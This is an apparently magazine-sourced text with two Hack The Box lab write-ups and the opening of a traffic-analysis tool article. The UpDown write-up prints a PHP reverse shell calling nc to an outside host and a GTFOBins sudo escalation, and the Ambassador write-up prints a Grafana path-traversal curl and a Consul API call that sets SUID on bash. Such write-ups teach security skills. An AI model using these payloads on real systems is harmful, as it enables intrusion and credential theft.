Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.06 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЭКСПЛУАТИРУЕМ

RACE CONDITION

ПРИ АТАКЕ НА ВЕБ-СЕРВЕР

В этом райтапе­

я

подробно­

покажу,

как искать скрытые­

данные­

на

сайте­ ,

затем покопаемся­

 

в его

исходниках­

иполучим RCE при эксплу­ ата­ ции­ Race Condition. Для полного­ захвата­ хоста­ используем­ ошибку­ в программе­ на Python

иприменим­ одну из техник­ GTFOBins.

RalfHacker hackerralf8@gmail.com

Наша­ цель — захватить­ учебную­ машину UpDown с площад­ ки­ Hack The Box. Уровень­ сложности­ отмечен­ как средний­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.177 updown.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ сканиро­ ­ вание, на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ име­ ющихся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Мы нашли­ два открытых­ порта­ : 22 — служба­ OpenSSH 8.2p1 и 80 — веб сер­ вер Apache 2.4.41. На веб сервере­ нас встречает­ чекер сайтов­ .

Главная­ страница­ сайта­ updown.htb

Главная­ страница­ раскры­ ­вает нам реальный­ домен — siteisup.htb. Поэтому­ добавляем­ запись в файл /etc/hosts:

10.10.11.177 updown.htb siteisup.htb

Затем­ я попытался­ послать­ запрос­ на свой простень­ кий­ HTTP-сервер­ , который можно­ запустить­ командой­ python3 -m http.server 80. В итоге­ я получил ответ, содержащий­ страницу­ HTML в тексто­ вом­ виде, а в логах своего­ сервера­ увидел­ следующий­ GET-запрос­ .

Резуль­ тат­ провер­ ки­ хоста­

На сайте­ больше­ ничего интерес­ ­ного найти­ не удалось­ , поэтому­ приступим­ к сканиро­ ­ванию.

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ния­ — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL.

Запус­ каем­ ffuf:

ffuf -u 'http://siteisup.htb/FUZZ' -w directory_2.3_medium_

lowercase.txt -t 256

Резуль­ тат­ сканиро­ вания­ каталогов­ с помощью fuf

Находим­ интерес­ ный­ каталог dev и повторя­ ем­ сканиро­ вание­ уже в нем.

ffuf -u 'http://siteisup.htb/dev/FUZZ' -w files_interesting.txt -t

256

Резуль­ тат­ сканиро­ вания­ файлов­ с помощью fuf

И обнаружи­ ваем­ репозиторий­ Git, а это явная точка­ входа­ .

ТОЧКА ВХОДА

Теперь­ нам нужно­ сдампить­ найден­ ­ный репозиторий­ , для чего есть набор скриптов­ dvcs-ripper или специаль­ ­ное средство­ git-dumper. На этот раз восполь­ ­зуем­ся вторым­ .

git-dumper http://siteisup.htb/dev/ dev

После­ загрузки­ репозитория­ нужно­ исследовать­ не только­ исходный код, но и внесен­ ные­ изменения­ . Для удобства­ представ­ ления­ я использую­ программу­ gitk, которую надо открыть из директории­ , где расположен­ каталог .git.

Представ­ ление­ репозитория­ в gitk

В репозитории­ находим файл admin.php, который отсутству­ ет­ на самом сайте­ , а это значит­ , что нам нужно­ найти­ новый сайт. Для этого­ с помощью fuf прос­ канируем­ поддомены­ . При запуске­ добавим параметр -H — заголовок­ HTTP.

ffuf -u http://siteisup.htb/ -t 256 -w subdomains-top1million-

110000.txt -H 'Host: FUZZ.siteisup.htb'

Резуль­ тат­ сканиро­ вания­ поддоменов­ с помощью fuf

Находим­ поддомен­ dev и добавляем­ его в файл /etc/hosts.

10.10.11.177 updown.htb siteisup.htb dev.siteisup.htb

Но к сайту­ нет доступа­ .

Ошибка­ при обращении­ к сайту­

Тогда­ возвра­ ­щаем­ся к репозиторию­ и находим там файл .htaccess, который и содержит­ правила­ доступа­ .

Содер­ жимое­ файла­ .htaccess

В файле­ видим запись Special-Dev "only4dev" Required-Header — обя­

зательный­ HTTP-заголовок­ Special-Dev со значени­ ­ем only4dev. Так как всю работу я провожу­ через Burp Proxy, то у меня есть возможность­ автомати­ ­чес­ ки встраивать­ заголовок­ во все запросы­ . Для этого­ нужно­ перейти­ к вкладке­ Options и найти­ раздел­ Match and Replace, где и создаем­ новое правило­ замены.

Создание­ нового правила­ замены в Burp Proxy

После­ примене­ ния­ созданно­ го­ правила­ обновляем­ страницу­ и получаем­ тот же сайт, но с возможностью­ загрузки­ файла­ .

Главная­ страница­ сайта­ dev.updown.htb

Возвра­ щаем­ ся­ к исходному­ коду и находим правило­ провер­ ки­ типа и формата­ загружа­ емо­ го­ файла­ .

Содер­ ­жимое файла­ checker.php

Так, у загружа­ ­емо­го файла­ просто­ проверя­ ­ется расширение­ — сравнива­ ­ется с теми, что есть в черном­ списке­ . Вот только­ в списке­ нет расширения­ .phar, которое исполняется­ так же, как и .php. В дополнение­ к этому­ мы узнаем­ и путь загружа­ ­емых файлов­ .

Содер­ жимое­ файла­ checker.php

Файлы­ загружа­ ются­ в каталог /uploads/.md5(time())/, затем из каждой­ строки­ извлекает­ ся­ адрес сайта­ , выполняет­ ся­ запрос­ , и после­ провер­ ки­ всех сайтов­ файл удаляет­ ся­ . Таким образом­ , мы можем загрузить­ файл, содер­ жащий код на PHP, и успеть его выполнить­ до удаления­ !

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

BUY

 

 

 

to

 

 

 

.co

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

p

 

 

c

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

ЭКСПЛУАТИРУЕМ

RACE CONDITION

ПРИ АТАКЕ НА ВЕБ-СЕРВЕР

ТОЧКА ОПОРЫ

Так как сайты­ в загружа­ ­емом файле­ должны­ быть разные­ , чтобы­ проверя­ ­лись все, я решил создать­ список­ при помощи генера­ ­тора случай­ ­ных адресов­ . Записываем­ в файл сто разных­ ссылок­ и код на PHP, выводящий­ phpinfo():

http://site1.qw

....

<?php phpinfo(); ?>

Загружа­ ­ем его на сайт и переходим­ к каталогу­ uploads. Мы можем пос­ мотреть его содержимое­ .

Содер­ жимое­ каталога­ uploads

Видим­ вложен­ ный­ каталог, название­ которого­ — это результат­ выполнения­ функции­ хеширования­ MD5. То, что нужно­ , заходим в него.

Загружен­ ный­ файл PHAR

Там лежит наш файл PHAR. Выбираем­ его и вниматель­ но­ просматри­ ваем­ . Нас интересу­ ют­ отключен­ ные­ функции­ PHP, так как большинс­ тво­ из них и дают нам право­ выполнения­ команд в командной­ оболоч­ ке­ .

Страница­ phpinfo

Много­ нужных­ функций­ отключено­ , но там нет proc_open, которая позволя­ ет­ выполнять­ произволь­ ные­ системные­ команды­ . Подробнее­ с ней можно­ озна­ комиться­ в официаль­ ном­ руководстве­ . Я же приведу­ пример­ реверс шелла­ на PHP с использовани­ ем­ этой функции­ .

<?php

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("file", "/tmp/error-output.txt", "a")

);

$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {

fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&

1|nc 10.10.14.31 4321 >/tmp/f');

fclose($pipes[0]);

echo stream_get_contents($pipes[1]);

fclose($pipes[1]);

$return_value = proc_close($process);

echo "command returned $return_value\n";

}

?>

Запус­ каем­ листенер­ (я использую­ pwncat-cs), создаем­ новый файл PHAR и повторя­ ем­ все перечисленные­ выше действия­ . Так мы получаем­ сессию­ от имени­ веб сервера­ на целевом хосте­ .

Сессия­ пользовате­ ля­ www-data

ПРОДВИЖЕНИЕ

Теперь­ , когда­ мы получили­ доступ­ к хосту­ , нам необходимо­ собрать­ информа­ цию. Как обычно­ , мне в этом помогают­ скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ пользовате­ ­ ля? Вариантов­ дальнейшей­ эксплу­ ­ата­ции и повышения­ привиле­ ­гий может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­

и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ­ют систему­ на автомате­ .

В этот раз скрипт показал, что нам доступны­ какие то файлы­ в домашнем­ каталоге­ другого­ пользовате­ ля­ , при этом один из файлов­ — исполняемый­ с установ­ ленным­ S-битом.

Список­ файлов­ в домашних­ каталогах­ других­ пользовате­ лей­

Файлы­ с установ­ ленным­ S-битом

Когда­ у файла­ установ­ лен­ атрибут­ setuid (S-атрибут­ ), обычный­ пользователь­ , запускающий­ этот файл, получает­ повышение­ прав до пользовате­ ля­ — вла­ дельца­ файла­ в рамках­ запущенного­ процес­ са­ . После­ получения­ повышенных­ прав приложе­ ние­ может выполнять­ задачи, которые недоступны­ обычному­ пользовате­ лю­ . Из за возможнос­ ти­ состояния­ гонки­ многие­ операци­ онные­ сис­ темы игнориру­ ют­ S-атрибут­ , установ­ ленный­ shell-скриптам­ .

Файл /home/developer/dev/siteisup доступен­ группе­ www-data, но будет работать в контек­ сте­ пользовате­ ля­ developer. Если запустить­ файл, он зап­ росит у нас URL и скажет­ , работает­ сайт или нет. Я решил просмотреть­ строки­ в файле­ .

Строки­ в файле­ siteisup

Этот файл запускает­ скрипт siteisup_test.py, который запрашива­ ет­ URL с помощью функции­ input(). Дело в том, что эта функция­ в Python 2 может выполнять­ код! То есть вместо­ URL мы можем ввести­ код, импортирующий­ модуль OS и читающий­ приват­ ный­ ключ SSH.

__import__('os').system('cat /home/developer/.ssh/id_rsa')

Выпол­ нение­ кода через функцию­ input

С ключом­ SSH подклю­ чаем­ ся­ к хосту­ и забираем­ первый­ флаг.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Информа­ ­цию о системе­ мы уже собирали­ , поэтому­ проверим­ настрой­ ­ки, которые отличают­ ­ся у разных­ пользовате­ ­лей. И одна из первых­ вещей, которые нужно­ проверить­ , — это sudoers.

Файл /etc/sudoers в Linux содержит­ списки­ команд, которые разные­ группы­ пользовате­ лей­ могут выполнять­ от имени­ админис­ тра­ тора­ системы­ . Можно­ просмотреть­ его как напрямую­ , так и при помощи команды­ sudo -l.

Настрой­ ки­ sudoers

Оказыва­ ется­ , мы можем выполнить­ вот такую команду­ от имени­ пользовате­ ля­ root без ввода­ пароля (NOPASSWD):

/usr/local/bin/easy_install

Easy Install — это модуль Python из библиоте­ ­ки setuptools, которая позволя­ ­ет автомати­ ­чес­ки загружать­ , собирать и устанав­ ­ливать пакеты. А самое замеча­

тельное­ — то, что easy_install есть в базе GTFOBins.

GTFOBins — это список­ исполняемых­ файлов­ Unix, которые можно­ исполь­ зовать для обхода­ локальных­ ограниче­ ний­ безопасности­ в неправиль­ но­ нас­ троенных­ системах­ . Проект­ собирает­ законные­ функции­ двоичных­ файлов­ Unix, которыми­ можно­ злоупот­ реблять­ , чтобы­ получить доступ­ к командным­ оболоч­ ­ кам, повысить привиле­ гии­ или передать файлы­ .

Описание­ эксплу­ ата­ ции­ easy_install при sudo

Так что мы можем просто­ ввести­ приведен­ ную­ команду­ и получить командную­ оболоч­ ку­ в привиле­ гиро­ ван­ ном­ контек­ сте­ .

TF=$(mktemp -d)

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(

tty) 2>$(tty)')" > $TF/setup.py

sudo /usr/local/bin/easy_install $TF

Флаг рута

Машина­ захвачена­ !

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ CONSUL

В этом райтапе­ я покажу, как читать файлы­ из Grafana, затем мы поработаем­ с базой данных­ для получения­ доступа­ к хосту­ и повысим привиле­ гии­ через Consul.

RalfHacker hackerralf8@gmail.com

Упражнять­ ся­ будем на учебной­ машине Ambassador с площад­ ки­ Hack The Box. Уровень­ сложности­ — средний­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.183 ambassador.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ сканиро­ ­ вание, на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ име­ ющихся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Сканиро­ вание­ показало­ несколь­ ко­ открытых­ портов­ :

22 — служба­ OpenSSH 8.2p1;

80 — веб сервер­ Apache 2.4.41;

3000 — не определен­ ный­ веб сервер­ ;

3306 — служба­ MySQL 8.0.30.

Первым­ делом посмотрим­ на сайты­ .

Главная­ страница­ http://ambassador.htb/

В первом­ же посте­ находим информацию­ о том, как подклю­ чать­ ся­ к серверу­

по SSH, и получаем­ имя пользовате­ ля­ — developer. Также­ узнаем­ , что можем где то найти­ пароль.

Информа­ ция­ про сервер­ разработ­ ки­

На втором­ сайте­ нас встречает­ форма­ авториза­ ции­ Grafana.

Главная­ страница­ http://ambassador.htb:3000/

ТОЧКА ВХОДА

Grafana — система­ визуали­ зации­ данных­ , ориенти­ рован­ ная­ на системы­ ИТ мониторин­ га­ . Пользовате­ лю­ предос­ тавля­ ются­ диаграммы­ , графики­ и таб­ лицы с разными­ показателя­ ми­ . На странице­ авториза­ ции­ мы можем увидеть­ версию­ платформы­ — 8.2.0.

Первым­ делом стоит­ проверить­ , есть ли для обнаружен­ ­ной версии­ готовые экспло­ ­иты. Искать нужно­ в базах вроде­ HackerOne и exploit-db, а также­ стоит­ заглянуть­ на GitHub. Так, по запросу­ «grafana v8.2.0 (d7f71e9eae) exploit» мы сразу­ узнаем­ , что в этой версии­ есть уязвимость­ с идентифика­ ­тором CVE.

Поиск­ экспло­ итов­ с помощью Google

Уязвимость­ заключа­ ­ется в том, что возможен­ обход каталогов­ и как резуль­ тат — доступ­ к произволь­ ­ным локальным­ файлам­ . Причина­ появления­ этой уязвимос­ ­ти — неправиль­ ­но реализован­ ­ная функция­ подклю­ ­чения модулей.

Дальнейший­ поиск на GitHub приводит­ нас к рабоче­ ­му экспло­ ­иту, которому­ в качестве­ параметра­ нужно­ передать только­ URL системы­ мониторин­ ­га.

Справка­ по экспло­ иту­

В качестве­ теста­ пробуем­ прочитать­ файл /etc/passwd.

Содер­ жимое­ файла­ /etc/passwd

Среди­ пользовате­ лей­ обнаружим­ отмечен­ ного­ ранее пользовате­ ля­ developer.

ТОЧКА ОПОРЫ

Первым­ делом сразу­ попытаемся­ прочитать­ приват­ ный­ SSH-ключ /home/ developer/.ssh/id_rsa.

Чтение­ файла­ id_rsa

Такого­ файла­ не существу­ ет­ , поэтому­ нужно­ поискать­ другие­ варианты­ . К при­ меру, файл конфигура­ ций­ Grafana /etc/grafana/grafana.ini, который дол­ жен содержать­ учетные­ данные­ админис­ тра­ тора­ .

Содер­ ­жимое файла­ grafana.ini

С полученными­ учетными­ данными­ мы легко­ авторизу­ ­емся через веб интерфейс.

Панель­ админис­ тра­ тора­ Grafana

ПРОДВИЖЕНИЕ

Продвига­ ­ясь дальше­ , получим файл базы данных­ grafana.

curl --path-as-is http://ambassador.htb:3000/public/plugins/

alertlist/../../../../../../../../var/lib/grafana/grafana.db -o

grafana.db

Я просматри­ ­ваю такие файлы­ в DB Browser. Там находим таблицу­

data_source, из столбца­ password которой получаем­ пароль для подклю­ ­чения к базе данных­ grafana.

Данные­ в файле­ grafana.db

Разделение­ доступа­ к разным­ базам данных­ в СУБД может быть не настро­ ­ено, и можно­ будет получить данные­ из других­ баз, а не только­ из grafana. Под­ ключаем­ ­ся и просматри­ ­ваем существу­ ­ющие базы данных­ .

mysql -h ambassador.htb -u grafana -p'dontStandSoCloseToMe63221!'

show databases;

Базы­ данных­

Видим­ базу данных­ whackywidget, которая не является­ служеб­ ной­ . Выбираем­ ее для работы и получаем­ список­ таблиц­ .

use whackywidget;

show tables;

Таблицы­ в базе данных­ whackywidget

Таблица­ здесь всего­ одна, причем­ очень интерес­ ­ная. Запросим­ ее содер­ жимое.

select * from users;

Содер­ жимое­ таблицы­ users

Получа­ ­ем закодирован­ ный­ в Base64 пароль локального­ пользовате­ ля­ developer.

echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d

Декоди­ рова­ ние­ пароля из базы

С полученным­ паролем авторизу­ емся­ по SSH и забираем­ первый­ флаг.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Получив­ доступ­ к хосту­ , мы первым­ делом должны­ собрать­ информацию­ . Я, как обычно­ , восполь­ ­зуюсь набором скриптов­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ пользовате­ ­ ля? Вариантов­ дальнейшей­ эксплу­ ­ата­ции и повышения­ привиле­ ­гий может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­

и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ­ют систему­ на автомате­ .

Загрузим­ скрипт для Linux на удален­ ­ный хост, дадим право­ на выполнение­

и запустим­ . Теперь следует­ отобрать­ важную­ информацию­ , которую подсве­ ­тит скрипт.

Во первых­ , в каталоге­ /opt есть два проекта­ , один из которых называется­ consul.

Содер­ жимое­ каталога­ consul

На хосте­ для локального­ адреса­ открыт порт 8500, что типично­ для Consul.

Список­ открытых­ портов­

HashiCorp Consul — это опенсор­ сный­ инстру­ мент­ , который облегчает­ раз­ работчикам­ организа­ цию­ взаимо­ дей­ ствия­ между­ сервисами­ , управление­ кон­ фигурацией­ и сегмента­ цию­ сети. Consul умеет­ находить сервисы­ и проверять­

их работоспособ­ ность­ , балансировать­ нагрузку­ и показывать­ наглядные­ гра­ фики. Также­ у него есть возможность­ хранить­ ключи­ авториза­ ции­ .

Нам нужно­ найти­ , где в системе­ использует­ ­ся Consul. Для этого­ анализи­ ­ руем обнаружен­ ­ный проект­ в каталоге­ /opt/.

Содер­ жимое­ каталога­ /opt

Это репозиторий­ Git, поэтому­ мы можем посмотреть­ историю­ изменений­ , выполнив­ команду­ git show внутри­ каталога­ .

История­ изменений­ кода в проекте­

И наконец, находим команду­ consul, которая применя­ ется­ для экспорта­ пароля MySQL. Здесь нужно­ обратить­ внимание­ на то, что мы нашли­ токен и теперь сможем­ работать с Consul API. Опираясь­ на публикацию­ в блоге­ Wallarm, мы можем получить выполнение­ кода с помощью Consul API в контек­ ­ сте работы службы­ . А так как Consul работает­ от имени­ рута, это повышение­ привиле­ гий­ в системе­ .

Для эксплу­ ата­ ции­ нам нужно­ использовать­ API /agent/check/register со следующи­ ми­ параметрами­ .

{

"ID": "ralf",

"Name": "ralf",

"Address": "127.0.0.1",

"Port": 80,

"check": {

"Args": ["/bin/bash", "/tmp/lpe.sh"],

"interval": "10s",

"timeout": "1s"

}

}

Таким­ образом­ мы запустим­ скрипт /tmp/lpe.sh в Bash. Внутри­ скрипта­ прос­ то присвоим­ S-бит файлу­ командной­ оболоч­ ки­ : chmod u+s /usr/bin/bash. Выполняем­ запрос­ к API с помощью curl:

curl --header "X-Consul-Token:

bb03b43b-1a81-d62b-24b5-39540ee469b5" --request PUT -d '{"ID":

"ralf", "Name": "ralf", "Address": "127.0.0.1", "Port": 80,

"check": {"Args": ["/bin/bash", "/tmp/lpe.sh"], "interval":

"10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/

register

Затем­ проверим­ файл /bin/bash и увидим­ поставлен­ ный­ нами S-бит.

Права­ файла­ /bin/bash

Когда­ у файла­ установ­ лен­ атрибут­ setuid (S-атрибут­ ), обычный­ пользователь­ , запускающий­ этот файл, получает­ повышение­ прав до пользовате­ ля­ — вла­ дельца­ файла­ в рамках­ запущенного­ процес­ са­ . После­ получения­ повышенных­ прав приложе­ ние­ может выполнять­ задачи, которые недоступны­ обычному­ пользовате­ лю­ . Из за возможнос­ ти­ состояния­ гонки­ многие­ операци­ онные­ сис­ темы игнориру­ ют­ S-атрибут­ , установ­ ленный­ shell-скриптам­ .

Запус­ тив­ /bin/bash -p, мы получим привиле­ гиро­ ван­ ный­ шелл.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

АДМИН

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

АНАЛИЗИРУЕМ ТРАФИК С ПОМОЩЬЮ НОВОГО БЫСТРОГО ИНСТРУМЕНТА

Для анализа­ сетевого­ трафика­ чаще всего­ выбирают­ Wireshark. Тут тебе и фильтры­ ,

ихороший интерфейс, и документация­ ,

иподробней­ ший­ вывод о каждом­ пакете. Но у этого­ инстру­ мен­ та­ есть недостатки­ , главный­ из которых — медлитель­ ность­

при анализе­ больших­ дампов­ . Я расска­ ­жу об опенсор­ ­сном приложе­ ­нии ZUI, которое может стать надежным­ помощником­ в ана­ лизе трафика­ .

Михаил Онищенко tofolt@icloud.com

Zed User Interface (ранее Brim), первая­ версия­ которого­ стала­ доступна­ комь­ юнити­ ИБ в 2018 году, разработан­ с помощью Electron и React. Внутри­ же использует­ ­ся движок­ ZED, а он, в свою очередь­ , написан на Go и состоит­

из несколь­ ­ких элемен­ ­тов:

Zed data model — общее название­ для лежащих в основе­ проекта­ типов данных­ и семантики­ ;

Zed lake — коллекция­ выборочно­ индексирован­ ­ных данных­ Zed;

Zed language — язык для выполнения­ запросов­ , поиска­ , аналити­ ­ки;

Zed shaper — модуль, который приводит­ входные­ данные­ к формату­ Zed data model;

• Zed formats — семейство­ последова­ ­тель­ных (ZNG), столбцо­ вых­ (ZST)

и человекочи­ ­таемых (ZSON) форматов­ ;

Zed query — скрипт, который выполняет­ поиск и аналити­ ­ку;

Zeek и Suricata — сигнатур­ ­ные системы­ (intrusion detection systems).

Главные­ отличия­ ZUI от Wireshark — это скорость­ работы, поддер­ жка­ сигнатур­ и анализа­ логов. Из минусов можно­ отметить­ невозможность­ декодировать­ пакеты и экспортировать­ найден­ ные­ в трафике­ файлы­ .

Все это можно­ не считать­ реальными­ минусами­ , потому что любой найден­ ный­ поток данных­ в ZUI открывает­ ся­ одним нажатием­ кнопки­ в Wireshark, где отобража­ ется­ вся недостающая­ информа­ ция.

СКОРОСТЬ

